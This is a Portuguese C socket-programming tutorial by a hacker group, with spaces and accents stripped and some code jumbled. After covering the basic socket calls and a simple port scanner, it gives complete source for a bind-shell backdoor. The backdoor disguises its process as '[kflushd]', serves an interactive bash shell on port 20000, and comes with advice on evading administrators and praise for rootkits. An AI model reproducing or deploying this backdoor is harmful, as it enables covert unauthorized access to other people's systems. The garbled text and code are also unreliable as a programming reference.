Professional Documents
Culture Documents
wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt
############################################################################
############################UNSEKURITYTEAM###############################
############################################################################
DesenvolvidoporNashLeonvulgocoraodeleao.
AgradecimentosparaRamona,Jovem_Bruxa_7,eprincipalmenteMAGICKISS.
nashleon@yoo.com.br
Vocepodeacharnovasversesdessetutorialnapaginaabaixo:
http://unsekteam.virtualave.net/>HomepagedogrupoUnsekurity.
PROGRAMACAODESOCKETSEMCP/LINUX
Essetutorialnotemointuitodeirfundonessamagnfica
ferramentadeprogramao,longedisso,ointuitosomenteintroduziro
iniciantenessemaravilhosomundoemostrarumpoucodoquesepodefazer
comisso.Tentaremosabordardeformasimpleseclaraosmeiosdesecriar
umsocket.Osexemplosaqumostradosbemcomoaformadeprogramaoso
voltadosparaaplataformalinux...digaselinuxslackware..demodoquepode
noserviremoutrasplataformas.
FazsenecessrioumconhecimentobasicodeCeRedesemgeral..um
TCP/IPcaiabem.
AVISO:NAONOSRESPONSABILIZAMOSPELOMAUUSODOMATERIALCONTIDONESSE
TEXTO,BEMCOMODOSEXEMPLOSAKIHDESCRITOS.ESSETEXTOFOICRIADO
SOMENTECOMPROPOSITOSEDUCACIONAIS.PORISSOLEMBRESE,NADADE
BOBAGENS!!!
TOPICOS
+FASEI:
*SOCKETSOquesaoeparaqueservem;
*TIPOSDESOCKETS;
*HEADERS;
*DECLARANDOUMSOCKET;
*DEFININDOUMAESTRUTURA;
*CONSTRUINDOUMSOCKET;
*AfunoCONNECT();
*ALGUMASBOBAGENS;
*PRIMEIROEXEMPLOPRATICO:portscan.
+FASEII:
*AfunoBIND();
*AfunoLISTEN();
*AfunoACCEPT();
*SEGUNDOEXEMPLOPRATICO:backdoor.
+FASEIII:
*ASFUNesSEND()ERECV();
SimplesExemplos:ServidorTCP,ClienteTCPeumDenialofService.
*ASFUNesWRITE()EREAD();
SimplesExemplo:Esqueletoparaenvirdadoscomwrite().
*TERCEIROEXEMPLOPRATICO:brutalforce.
+FASEIV:
http://wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt
1/27
08/10/2015
wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt
*CONSIDERAesFINAIS;
*ALGUNSLINKSSOBREPROGRAMACAODESOCKETS;
FASEIOPARTO
***SOCKETSOQUESAOEP/QSERVEM!|
Naovoumeaprofundardescrevendoaorigemeanecessidadedosurgimento
dossockets..vamosagirdeformapratica,masteoriasemprebom,peskise
setivertempo,poisesseassuntofascinante.
Ossocketssaoosprogramasresponsaveispelacomunicaoouinterligao
deoutrosprogramasnainternet,porexemplo.Quandovocseconectaaum
servicoqualquertipo(telnet)vocestusandoumsocket,nocasochamase
arotinasocket()comoclientedoteulado..edoladodohostcomservico
umarotinadesocketservidor.Acreditosechegouatakpqjsabe
dissotudo,equerirmaisalem.Deformapratica,quandovocexecuta
umexploitremoto,vcusaumsocket,quandovccriaumtrojanremoto,usase
umsocket,quandovccapturapacotesexternamentevcusaumsocket,etc....
***TIPOSDESOCKETS!|
Existealgunstiposdesockets,masporenquantovamosnosaterapenasa2,
osdoismaissimples..demodoquesevckiserirmaisalemeescrever
programasqueseutilizemdeRAWSOCKETS,pacienciairmao,aindano
dessavezqueescreveremosparavc.Ostiposdesocketsqueiremostrabalhar
saoos"StreamSockets"eos"DatagramSockets",elestambmsaoconhecidos
como"SOCK_STREAM"e"SOCK_DGRAM",respectivamente.
+StreamSocketsusamTCP,saousadosemdiversaraplicaescomotelnet,www,
etc.Ospacotesaquisaosequenciais,seguemem2vias,vocpodeleregravar.
+DatagramsSocketsusamUDP.Ospacotesaquinosaosequenciais,operaem
1via,vocspodelerougravar,nuncaas2coisas.
Autilidadepraticadecadaumdelesvocverlogoembreve.Outros
tiposconhecidosdesocketssao:SOCK_SEQPACKETeSOCK_RDM,veremosmais
sobreessesdanumfuturotxt.
***HEADERS|
Existemalgunsheadersusadosemconjuntoparafacilitaraomaximoaprogramao
desockets..Eisalgunsak:
#include<sys/types.h>
#include<sys/sockets.h>
#include<netinet/in.h>
#include<netdb.h>
Lembrese:"Dependendodasituaovocpodernecessitardemaisheaders.
Porissoamigo,asmanpagessempreserosuasamigas.Antesde
usarumafuno,leiaarespectivamanpagedamesma."
***DECLARANDOUMSOCKET!|
P/sedeclararumsocketnotemmuitosegredo.Eledotipoint,declarase
http://wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt
2/27
08/10/2015
wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt
normalmente.Ex:
main(){
intMeusocket;
...
}
***DEFININDOESTRUTURA|
Osdadosnecessariosdohostaquesekercomunicar,saodefinidosatraves
deumastruct.Astructusadaparaconexesnainternetasockaddr_in,e
possuiaseguintedeclarao:
structsockaddr_in{
shortintsin_family;/*Familiadoendereco*/
unsignedshortintsin_port;/*Numerodaporta*/
structin_addrsin_addr;/*IPdoHost*/
unsignedcharsin_zero[8];/*Zeraaestrutura,algumespacocomo
structsockaddr*/
}
sin_familypodeserumavariedadedecoisas,masgeralmenteseusamuma
dessasaqui:
+AF_INET(ARPAINTERNETPROTOCOLS)"Amaisusada"
+AF_UNIX(UNIXINTERNETPROTOCOLS)
+AF_ISO(ISOPROTOCOLS)
+AF_NS(XEROXNETWORKSYSTEMPROTOCOLS)
Aificariaalgocomo:
main(){
intMeusocket;
structsockaddr_invitima;
..
}
***CONSTRUINDOUMSOCKET|
Bempodemosdarinicionapraticaacontruodeumsocket.AContruode
umsocketsegueomodelo:
Meusocket=socket(sin_family,tipo_do_socket_desejado,Numero_protocolo);
Onde:
sin_familysaoessasjexplicadasacima;
tipo_do_socket_desejado,nonossocasoSOCK_STREAMouSOCK_DGRAM;
Numero_protocoloonmerocorrespondentedoprotocoloqsevai
trabalhar,ex:
0IPINTERNETPROTOCOL
1ICMPINTERNETCONTROLMESSAGEPROTOCOL
2IGMPINTERNETGROUPMULTICASTPROTOCOL
3GGPGATEWAYGATEWAYPROTOCOL
6TCPTRANSMISSIONCONTROLPROTOCOL
17UDPUSERDATAGRAMAPROTOCOL
Umexemplopraticoseria:
main(){
http://wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt
3/27
08/10/2015
wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt
intMeusocket;/*Declarandoavariavelsocket*/
..
Meusocket=socket(AF_INET,SOCK_STREAM,0);
..
}
Feitoadeclaraoeacontruodoarquivosocket,nosseguimosadiantes
contruindoastructcomdadosdohostquesedeseja,nossocasoavitima.
Ficariaumesquemaigualaesse:
structsockaddr_invitima;
vitima.sin_family=AF_INET/*Nossasin_familynoexemploacima*/
vitima.sin_porta=htons(PORTA)/*Aquioesquemaoseguinte:
htonssignifica"hosttonetworkshort",como
shorttrabalhacom2bytes,mashaainda
outrostiposcomo:htonl("hosttonetwork
long",4bytes),nts("networktohost
short",2bytes),ntl("networktohost
long",4bytes).*/
vitima.sin_addr.s_addr=inet_addr(ip_da_vitima);/*Aquiocorreaaquisiodo
enderecoipdavitima,comona
declaraoacimaemstruct
sockaddr_in,aquisomenteo
ip,noaindaodominio*/
bzero(&(vitima.sin_zero),8);/*Zeraorestodaestrutura*/
Vamosveragoracomodefatoestnossoexemploinicial:
/*acrescenteosheadersnecessarios*/
main(){
intMeusocket;
structsockaddr_invitima;
Meusocket=socket(AF_INET,SOCK_STREAM,0);
if(Meusocket<0)/*Aquifazseumasimpleschecagemdeerro*/
{
perror("Socket");
exit(1);
}
vitima.sin_family=AF_INET;
vitima.sin_port=htons(31337);
vitima.sin_addr.s_addr=inet_addr("200.100.100.1");
bzero(&(vitima.sin_zero),8);
...
}
Vamoscaminhandomaisafrente,jtemosdeclaradoeconstruidooarquivo
socket,nocasoMeusocket,eastructdeconexo,nocasoavitima.Agora
vamosparaumafunomuitousadanaconexo,afunoconnect(),quefar
oeloentreo"Meusocket"ea"vitima".
***AfunoCONNECT()|
Essaaconhecidafunoresponsavelpelaconexotelnet(essaquemuita
genteusaparafinsnadaconvencionais).Essafuno,comooproprionome,diz
afunoresponsavelpelaconexodeseusocketcliente,comumservico
servidorqualquer.
Osheadersnecessariosparaousodessafunosao:
#include<sys/types.h>
http://wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt
4/27
08/10/2015
wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt
#include<sys/socket.h>
Umavezdeclaradoosheaders..vamosdeclararafunopropriamentedita:
intconnect(Meusocket,(structsockaddr*)&vitima,sizeof(vitima));
Deformabempratica,declaramosafunoconnect(),onde:
+Meusocket>nossoarquivosocket.
+vitima>Ohostquequeremosconectar(struct).
Comopodemosver,notaocomplicadoassim..fazeroditocujo,mas
sejchegamosataqui,podemosmostrarumexemplopraticodetudo
quefoiescritoaemcima..mascalma,primeiroveremoscomoficounosso
programaporinteiro.
/*headersnecessarios*/
#include<stdio.h>
#include<stdlib.h>
#include<sys/types.h>
#include<sys/socket.h>
main(){
intMeusocket;
structsockaddr_invitima;
intConector;
Meusocket=socket(AF_INET,SOCK_STREAM,0);
if(Meusocket<0)/*Aquifazseumasimpleschecagemdeerro*/
{
perror("Socket");
exit(1);
}
vitima.sin_family=AF_INET;
vitima.sin_port=htons(31337);
vitima.sin_addr.s_addr=inet_addr("200.100.100.1");
bzero(&(vitima.sin_zero),8);
Conector=connect(Meusocket,(structsockaddr*)&vitima,sizeof(vitima));
if(Conector<0)/*Maisumachecagemdeerro*/
{
perror("Connect");
exit(1);
}
Voceagoradeveestarseperguntando,sejseicomodeclararumsocket(),
seifazerastructdavitima,etambmjseimeconectaremalgumacoisa
entao,oquepossoeufazercomissotudo??Calmaamigo..abaixosegueumas
bobagensamais,mascomobasicoaemcimavocjpodefazermuita
coisa...Haquemdigaqueno..masvamosl.
***ALGUMASBOBAGENSP/MOSTRAREXEMPLOPRATICO|
Segueagoraalgumasfunoquenononecessarias,masquevaoajudar
a"embelezar"oexemploqueseseguir,paraquenohajaduvidasquanto
oconhecimentodoautor,evisandooesclarecimentodealgumascoisaque
defatosaouteis.
+funogethostbyname();
http://wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt
5/27
08/10/2015
wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt
Porfrescuriteouno,asvezesvocqueraoinvesdedigitaroipda
vitima(hostquesequerconectarouetc),vocquerdigitarseudomain.
Exemplo:aoinvesdedigitar127.0.0.1vocpreferedigitarlocalhost.
Muitasaplicaesseguemesseesquema..bem,paraqueissopossaocorrer,
comoestamostrabalhandocomC,usamosumafunochamagethostbyname(),
essafunodeclaradadaseguinteforma:
#include<netdb.h>/*Talvezhajavariaodesseheader,bomdarumman
gethostbynameparasecertificar,mano!!*/
structhostent*gethostbyname(char*name);
Comosepodevereleretornaumponteiroparaumastructquepossuia
seguintedeclarao:
#defineh_addrh_addr_list[0]/*endereco,paracombatibilizar
omodoinverso(reverso)*/
structhostent{
char*h_name;/*Nomeoficialdohost*/
char**h_aliases;/*Listadealiases*/
inth_addrtype;/*Tipodeenderecodohost*/
inth_length;/*Tamanhodoendereco*/
char**h_addr_list;/*Listadeenderecosdo
servidordenomes*/
};
Vamosanalisaragoracadamembrodaestrutura:
h_name>Nomeoficialdohost.
h_aliases>Umaarrayterminadaemzerodenomesalternadosparaohost.
h_addrtype>Otipodoenderecoqueestsendoretornado.Ex:AF_INET.
h_length>OTamanhoembytesdoendereco.
h_addr_list>Umaarrayterminadaemzerodoenderecodaredeparaohost.
OenderecodoHostretornadoemnbo(networkbyteorder).
eadefinio:
h_addr>Ehoprimeiroenderecoemh_addr_list;Istopara
compatibilizaromodoinverso,ouainversao.Quandovocdigita
localhostsaberque127.0.0.1,porexemplo.
+funogetservbyport();
Oproprionometambmjdenunciaessada.Essafunoenviaoudiz
paravocqualoservicoqueestrodandonumadeterminadaporta,usando
comoreferenciaoseuarquivo/etc/services.Ehbomanteressearquivo
integro,senoreceberresultadoserradosnoexemploquelogoseguir.
Masvamosl,afunogetservbyport()seguedeclaradadessejeito:
#include<netdb.h>/*Headernecessario..lembrese,manpages*/
structservent*getservbyport(intport,constchar*proto);
Aestruturaserventdefinidadaseguinteformaem<netdb.h>:
http://wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt
6/27
08/10/2015
wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt
structservent{
char*s_name;/*Nomeoficialdoservico*/
char**s_aliases;/*Listadealiases*/
ints_port;/*Numerodaporta*/
char*s_proto;/*Protocoloparausar*/
}
analizando:
s_name>Nomeoficialdoservico.Ex:ftp,telnet,echo.
s_aliases>Umlistaterminadaemzerodenomesalternativosparao
servico.
s_port>Onmerodaportareferenteaoservico,dadoemNBO(Network
ByteOrder)
s_proto>Onomedoprotocoloparausarcomesteservico.
***PRIMEIROEXEMPLOPRATICO|
Bem,comasinstruesacima,jpodemosfazeralgumascoisinhas,a
utilidadevariaconformeocerebroqueestusandoasinformaes
acimaditas.Abaixosegueumexemplodeumportscan,quescaneiausando
afunoconnect().Essemetodomuitousadoainda,masnoumbom
mtodo,poisdefcildeteco.Maspelafacilidadecomqueseescreve
umprogramadessetipo,sernossoprimeiroexemplo,maisafrentens
veremoscoisasmaisteis,emaiscomplexas.Esseportscanservesomente
paraserviostcp,poisusaSOCK_STREAM,jexplicadoacima.
Exemplodeportscan
/*SimplesPortScanusandoafunoconnect().
DesenvolvidoporNashLeon.UnsekurityTeam.
ThanksRamona.
compilacom:$gccoportscanportscan.c
oucomobemquiser.
*/
/*Headersnecessarios*/
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<unistd.h>
#include<sys/socket.h>
#include<sys/types.h>
#include<netinet/in.h>
#include<sys/signal.h>
#include<errno.h>
#include<netdb.h>
/*Definiodasportas(inicialefinal)casoestasnosejam
digitadasnalinhadecomando*/
#definePORTA_INICIAL1
#definePORTA_FINAL7000
main(intargc,char*argv[])
charhost[15],*ip;
intporta_inicial,porta_final,portas,i,meusocket;
http://wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt
7/27
08/10/2015
wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt
structsockaddr_invitima;
structhostent*he;
structservent*servico;
if(argc==1)
fprintf(stderr,"**********************************************************\n");
fprintf(stderr,"*************SimplesPortScanusando
Connect()************\n");
fprintf(stderr,"****************DesenvolvidoporNash
Leon****************\n");
fprintf(stderr,"**********************************************************\n");
fprintf(stderr,"Uso:%s<host_vitima><porta_inicial>
<porta_final>\n",argv[0])
;exit(0);
if(argc>1)
{
porta_inicial=PORTA_INICIAL;
porta_final=PORTA_FINAL;
}
if(argc>2)
{
porta_inicial=atoi(argv[2]);
porta_final=atoi(argv[3]);
}
/*Aquiteminiciooscaneamento,comecandoacontagemcomporta_inicial
eterminandoemporta_final*/
for(portas=porta_inicial;portas<porta_final;portas++){
/*Declaraodegethostbyname*/
he=gethostbyname(argv[1]);
if(he==NULL)
printf("Erro:HostDesconhecido!!\n");
exit(1);
/*Declaraodoarquivosocket*/
meusocket=socket(AF_INET,SOCK_STREAM,0);
if(meusocket<0)
perror("Socket");
exit(1);
/*Abaixoadeclaraodaestruturadavitima*/
vitima.sin_family=he>h_addrtype;/*Tipodoenderecoretornado,nocaso
AF_INET.*/
vitima.sin_port=htons(portas);
vitima.sin_addr=*((structin_addr*)he>h_addr);/*P/compatibilizaro
processoinverso*/
bzero(&(vitima.sin_zero),8);
/*funoconnect(),elavaiseconectaraportadohostvitima,se
receberumarespostanegativa,nocaso(1),elafechaosocket,mas
comoestamosdentrodeumprocessofor,abriraoutrosocketcomoutra
porta,equandoarespostadavitimaforpositiva(0),seguiraa
http://wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt
8/27
08/10/2015
(servico==N
}
}
wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt
diretivaelseabaixo.*/
if(connect(meusocket,(structsockaddr*)&vitima,sizeof(vitima))==1)
{
close(meusocket);
}
/*Aquitemosgetservbyportnosdizendoqualservicocorrespondeaporta
quefoiencontradaaberta.SeservicoforigualaNULL,teremos
"Desconhecidocomosaida,seno,elenosdiroservico,baseadoem
nosso/etc/services*/
else
{
servico=getservbyport(htons(portas),"tcp");
printf("Aporta%destaabertamano!!OServico[%s]\n",portas,
ULL)?"Desconhecido":servico>s_name);
}
close(meusocket);
fimdoprimeiroexemplo
OBS:Bemamigo,noaconselhvelvocusaresseprogramadescritoacima
paraoutrospropsitos,anoseraprenderaconstruiretrabalharcom
sockets.Primeiro,notenhocerteza,masscanearumarededeveser
ilegal,vaiaumtoque,qualquercoisadigam:"Umamigodisseque
eraadministradordaredeepediuparaeuscaneararedeparaele,pois
elenotinhascanner!Masqueamigo?Umqueconhecinoirc!!:)";
Segundo,existemferramentasmelhoresebemmaispoderosasqueessa,
taiscomonmap,queso,etc...quejvemprontinhasparaessesfins;
Terceiro,comoaumentodossistemasdedeteco,comoadventodebons
firewalls,ecoma"capacitao"dopessoaldaseguranca,essa
tcnicadescritaacimanonadaboa.Maisembaixoveremosalgumas
ferramentaseteoriasmaisinteressantes.Pegueoconceito,umdia
voctalvezterquefazerseuprprioscannerstealph(quenose
deixalogar,invisvel).
Vamosseguindoemfrentenessajornadaembuscadecoisasmaisprticas
nosnossosdias.Chegamosnafase2donossojogocomsockets,essafase
interessante,sevoctemmuitosneurnios,nohesiteemqueimlos,
massestiveroticoeteco,comoeu,:),avaiumascoisinhasque
aprendibotandoos2paratrabalhar.Depoisseguiroutroexemploprtico
comasdeclaraesabaixo:
FASE2ENGATINHANDO
***Afunobind()|
Uneumnomeaoseusocket.
Demodobemprtico,essafunoserveparaassociarumaportaemsua
mquinalocalparaoseusocket.Essafunomuitousadacomoutra
funo,alisten(),maisnafrenteveremosalgosobreessafuno.
Afunobind()muitousadaemservidores,socketservidor.
Veremosagoracomodeclaradaessafuno:
/*Headersnecessrios,vejamanbind()*/
#include<sys/types.h>
http://wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt
9/27
08/10/2015
wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt
#include<sys/socket.h>
intbind(intMeusocket,structsockaddr*local,intaddrlen);
onde:
+Meusocket>Nossovelhoconhecido,omesmodoscasosanteriores.
+local>Oesquemaaquioseguinte,aoinvsdedeclarar
comosendovtima,declararemoscomooendereo
local,nooremoto.aestruturasertodavoltada
paraamquinalocal,ondevaiserexecutadooprograma.
+addrlen>Tamanhodotipodaestruturaqueestsetrabalhando,
geralmenteusasesizeof(structsockaddr).
Eisobsicodessafuno.Abaixosegueumexemplodedeclaraodamesma
dentrodeumprogramaqualquer:
/*Headers*/
#include<string.h>
#include<sys/types.h>
#include<sys/socket.h>
#defineMINHA_PORTA20000
main(){
intMeusocket;
structsockaddr_inmeu_endereco;
Meusocket=socket(AF_INET,SOCK_STREAM,0);
local.sin_family=AF_INET;
local.sin_port=htons(MINHA_PORTA);
local.sin_addr.s_addr=inet_addr("200.100.100.1");
bzero(&(local.sin_zero),8);
...
}
bind(Meusocket,(structsockaddr*)&local,sizeof(structsockaddr));
Podemosnotarqueadeclaraosemelhanteaoesquemadoprimeirocaso,
ondeaoinvsdemeu_endereco,nstinhamosvtima.Paranossosobjetivos
meu_enderecorefereseaoendereolocal,damakinaondeseexecutao
programa,evtimaserefereaumendereoremoto.Veremosmaisadiante
queoqueeudisseapodeconfundir,poisdependedomodocomosevas
coisas,fiqueatentoenoterproblemas.Leveemconsideraoapenas
osprocessosclienteeservidor,achoqueassimmelhor..:).
***AFUNOlisten()|
Essafunotambmnotemnadademais.Oseunometambmjdizoporque
deseusarela.Elaescutaoumelhordizendo,esperaumadeterminada
conexoemumsocket.Paraaceitarumaconexo,umsocketprimeirocriado
usandoafunosocket(),apsacriaodomesmo,afunolisten()entra
parasetaronmerodeconexesqueseropermitidasparadeterminadoservio.
Umexemploprticodissoousodeftpsquepermitemat20conexes
porexemplo.Vocentraerecebeumamensagemtipo:"Voceo#5usurio
de20!",coisadessetipo.Afunolisten()muitousadaemservidores
hajavistoessanecessidade,masexistemoutrasutilidadestambmparaela
quesoteisparaosnossospropsitos.Veremosissodepois.
Afunolisten()declaradadaseguinteforma:
/*Header*/
http://wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt
10/27
08/10/2015
wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt
#include<sys/socket>
intlisten(intMeusocket,intbacklog);
onde:
+Meusocket>Nossoamigodenovo,omesmodesempre.
+backlog>backlogumnmerointeiroresponsvelpelototal
deconexesqueseropermitidasparaoservio.Muitos
sistemaslimitamessenmeroat20,vocpodeficar
limitadode5a10.Asconexesfuturasficaroesperando
atqueoservidoraceite,paraissousaseafuno
accept(),queexplicaremosmaisabaixo.
Comoiremospermitirmaisdeumaconexo,sefaznecessrioquedeclaremos
umoutrosocket()queseroresponsvelpelasfuturasrequisiesde
conexo.Poderiamosdeixarparadefinircomafunoaccept(),porqueesse
novosocketsseraceitoapsoprimeiro,masemtodocaso,elejvai
declaradoabaixoparafacilitarascoisas.
Umesquemaprticoparaanossafunolisten,seriauslaemconjuntocom
afunobind()descritaacima.Ficariaassim:
/*Headers*/
#include<string.h>
#include<sys/types.h>
#include<sys/socket.h>
#defineMINHA_PORTA20000
main(){
intMeusocket;
intNovoSocket;/*Esteesperaavezdele,listenoenumerarparaquefaa
aconexodepois*/
structsockaddr_inlocal;
/*DeclaraodeMeusocketedaestruturaquefecharaconexo
nocaso"local"*/
Meusocket=socket(AF_INET,SOCK_STREAM,0);
local.sin_family=AF_INET;
local.sin_port=htons(MINHA_PORTA);
local.sin_addr.s_addr=inet_addr("200.100.100.1");
bzero(&(local.sin_zero),8);
bind(Meusocket,(structsockaddr*)&local,sizeof(structsockaddr));
listen(Meusocket,5);
...
}
Bem,nossoexemplosdemonstrativo,parairmoscomcalma,nodpara
fazermuitacoisacomissoda,masveremosagoraumaoutrafuno
muitoimportantemuitousadaemsocketsservidores.
***Afunoaccept()|
Essafunotambmnotemmuitosegredo,elaafunoresponsvel
poraceitarumaconexoemumsocket.Umsocketclientepedepermisso
paraumsocketservidorparaqueambossecomuniquem,essafunosera
quedecidirofuturodaconexo,seaceitaourejeita.
Vamosadeclaraodela:
/*Headers*/
#include<sys/types.h>
http://wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt
11/27
08/10/2015
wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt
#include<sys/socket.h>
intaccept(intMeusocket,structsockaddr*remoto,socklen_t*remotolen);
onde:
+Meusocket>osocketdoservidor,onossoexemplodasseesacima.
+remoto>Aquioesquemaoseguinte,seroendereoremoto,como
nsestamosfazendoopapeldeservidor,esseditocujoseria
oclientenocaso.Poderiasereferiraeletambmcomoremoto,
jqueaestruturaquedeclaramosalocal.
+remotolen>otamanhodaestruturaqueseesttrabalhando.
Trabalharemoscomsockaddr_in,logoseria
sizeof(structsockadd_in).
Veremoscomoficariaoesquemadeumsimplessocketservidoragora:
/*Headers*/
#include<stdio.h>
#include<sys/types.h>
#include<sys/socket.h>
#include<netdb.h>
#include<netinet/in.h>
/*Seguedefiniodaportaedonmerodeconexesquesero
permitidasamesma,chamadaaquideBACKLOG.*/
#defineMINHA_PORTA20000
#defineBACKLOG5
main(){
intMeusocket,Novosocket;/*listen()emMeusocket,novaconexoem
Novosocket*/
structsockaddr_inlocal;
structsockaddr_inremoto;
inttamanho;
bzero(&local,sizeof(local));/*Zeraaestrutura*/
local.sin_family=AF_INET;
local.sin_port=htons(29999);
local.sin_addr.s_addr=INADDR_ANY;/*aquiINADDR_ANYserresponsvel
porpegarnossoendereodiretamente
doprpriosistema.*/
bzero(&(local.sin_zero),8);
/*Declaraodosocket()*/
Meusocket=socket(AF_INET,SOCK_STREAM,0);
/*Seguemabaixodeclaraodebind()elisten()*/
bind(Meusocket,(structsockaddr*)&local,sizeof(structsockaddr);
listen(Meusocket,BACKLOG);
tamanho=sizeof(structsockaddr_in);/*Declaramosessavariavelpara
melhoraroalgoritmotaosomente*/
while(1)/*loopessencialparaaccept()*/
/*Eisaafunoaccept()
NovoSocket=accept(Meusocket,(structsockaddr*)&remote,&tamanho);
Oesqueletoacimapodeserbastantetil,colocaremosabaixoumexemplo
prticodasfunesdescritasnessafase.Nadaporenquantodecomplexo,
achoquenemvaiter,programarsocketsemCnonemmesmotrabalhoso,
http://wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt
12/27
08/10/2015
wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt
sim,levandoemcontaqueescrevoparaaquelesquepassamnoites,semanase
mesesembuscadeumdiapoderemacharum"furodereportagem".
Ostermostemvariadoealgunsatperderamsentido,mascreioqueos
pesquisadoresdeverdade,anteschamados"Newbies"merecemsimtodoo
respeitoeconsiderao,paraelesquevoessaslinhasdetexto,bem
comotodososexemplosprticos.Quantoa"Elite",comoelasempreesquece
queumdiafoiigualaessespesquisadoresqueacabodemencionar,paraela,
quejpossuisuamente"formada",emuitasdasvezesseautointitula
antitica,nuncavfuadordeverdadequenoobeaasregrasdatica,
masdequalquerforma,enquantoessa"Elite"noseunir,arodanovai
girar,easegurancasempreficarcantandodegalo,comoestohojeemdia,
temgentequetrabalhanaseguranadasgrandescompanhiaseseconsidera
fuador!!:)..seiondevocsandamfuandoviu!!
Manifestosaparte,abombamaiorvirdepois,vamosseguircomum
exemploprticodeumprogramaservidor,maiscomumentechamadode
backdoor,maspodesertambmumtrojan,sdependedenossosneurnios.
***SEGUNDOEXEMPLOPRTICO|
Esseprogramacopiaumashellparaumadeterminadaporta,eleamplamente
difundidonaInternetcomonomedebindshell,maspossuimuitasvariaes,
parapropsitoseducacionaiseucrieiumabackdoorbaseadanesseprograma,
demodoquetornassemaisclaroonossoaprendizado.
BackdoorusandoSocket
/*BackdooremSocketsimples...byNashLeon
ThanksRamonaeUnsekurityTeam.
nashleon@yoo.com.br
http://unsekurity.virtualave.net
Compileusando:
$gccobackback.c
*/
/*HEADERS*/
#include<stdio.h>
#include<stdlib.h>
#include<errno.h>
#include<strings.h>
#include<netinet/in.h>
#include<sys/socket.h>
#include<sys/types.h>
#include<signal.h>
#defineMINHA_PORTA20000/*Aportadoservidor*/
#defineBACKLOG5/*Atquantasconexes*/
intmain(intargc,char*argv[])
{
intMeusocket,Novosocket,tamanho;
structsockaddr_inlocal;
structsockaddr_inremote;
/*Criaumprocessocriancaoumenor,paranonecessitarexecutar
usando&*/
if(fork()==0){
/*Aquisegueaesperteza..sealgumderpsaux,top,ouverosprocessos
queestaorodandoveroqueestcopiadoabaixo,nocaso[kflushd],
http://wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt
13/27
08/10/2015
wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt
mudeissoconformeosistemaondeserexecutadaabackdoor*/
strcpy(argv[0],"[kflushd]");
signal(SIGCHLD,SIG_IGN);
/*Criandoaestruturalocal(servidor)*/
bzero(&local,sizeof(local));
local.sin_family=AF_INET;
local.sin_port=htons(MINHA_PORTA);
local.sin_addr.s_addr=INADDR_ANY;
bzero(&(local.sin_zero),8);
/*Declaraodosocket(),bind()elisten()*/
Meusocket=socket(AF_INET,SOCK_STREAM,0);
bind(Meusocket,(structsockaddr*)&local,sizeof(structsockaddr));
listen(Meusocket,BACKLOG);
tamanho=sizeof(structsockaddr_in);
/*Ovelhowhile(1)paraserusadocomnossonovoaccept()*/
while(1)
if((Novosocket=accept(Meusocket,(structsockaddr
*)&remote,&tamanho))==1)
perror("accept");
exit(1);
if(!fork())
close(0);close(1);close(2);
/*dup2()aquiusadoparacriarumacopiadeNovosocket
*/
dup2(Novosocket,0);dup2(Novosocket,1);
dup2(Novosocket,2);
/*Entaoashellexecutada,nessecasoumabash
Mudeaparaqualquerumaquequiser,eatenoao
parmetroi,nemtodasaceitamshellinterativa*/
execl("/bin/bash","bash","i",(char*)0);
close(Novosocket);
exit(0);
return(0);
}
FimdoSegundoExemplo
Algumasconsideraesarespeitododitocujoadecima;Primeiro,
esseditocujopossuiumaporta20000,podeserusadoemmuitossistemas
porusurioscomuns(noroot),geralmenteasportasbaixassoroot
podemanipular,ataporta1024.Atparadificultarapercepode
admindessabackdoor,inteligentecolocarnumaportaalta,
nomuitoconhecida,nocoloqueemportaselitescomo12345ou31337,
faaseuprprioesquema;colocareiosourcedepoismaisinteressante;Segundo
quandoumclienteseconectaaessabackdoor,elecanumashellcom
http://wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt
14/27
08/10/2015
wwwusr.inf.ufsm.br/~giovani/sockets/sockets.txt
argumentoi,oushellinterativa,senoquiserouosistemanoaceitar
esseargumento,retirea,issomudadesistemaedetipodeshelltambm;
Terceiro,esseprogramanoprtico,jconhecido,muitoconhecido,de
modoqueumabackdoordefcildeteco,quando,lgico,oadminum
cararesponsvel,existemuitacoisaboapora,comobackdoorsemkernel
modules,emcdigosfontesquelhedoshellnumsimplespassedemgica
ounumsimplestoquedetecla:);bemcomobonsrootkits,algunspouco
conhecidoscapazesdetornarvoc"invisvel"numsistema.Comotodosos
exemplosaquisodepropsitopuramenteeducacional,nonos
responsabilizamospelousodosmesmos.Creioamigo,quebackdoor
pessoal,comoacoisavem"esquentando",opessoaldaseguranatem
trabalhadomais,cabeavocpensarnumabackdoorsuamesmo,para
determinadosistema,umacoisabemespecfica,numoutroTXT,falaremos
bemmaissobreisso,porenquanto,pense,penseepense!
Masvamosseguindo,chegadeconversafiada,vamosparaafase3dessenosso
joguinhocomsockets,umafasebeminteresssanteevocssaberooporque.
FASEIIIMANDANDOBALA
ASFUNESsend()erecv()|
Comosempre,nohmisterios,osprpriosnomestambmdenunciamessas
funes.EssasduasfunessoparacomunicaoemStreamsocketse
Datagramssockets.Afunosend()usadaparaenviarumamensagemparaum
socket,econsequentementeafunorecv()usadaparareceberdadosem
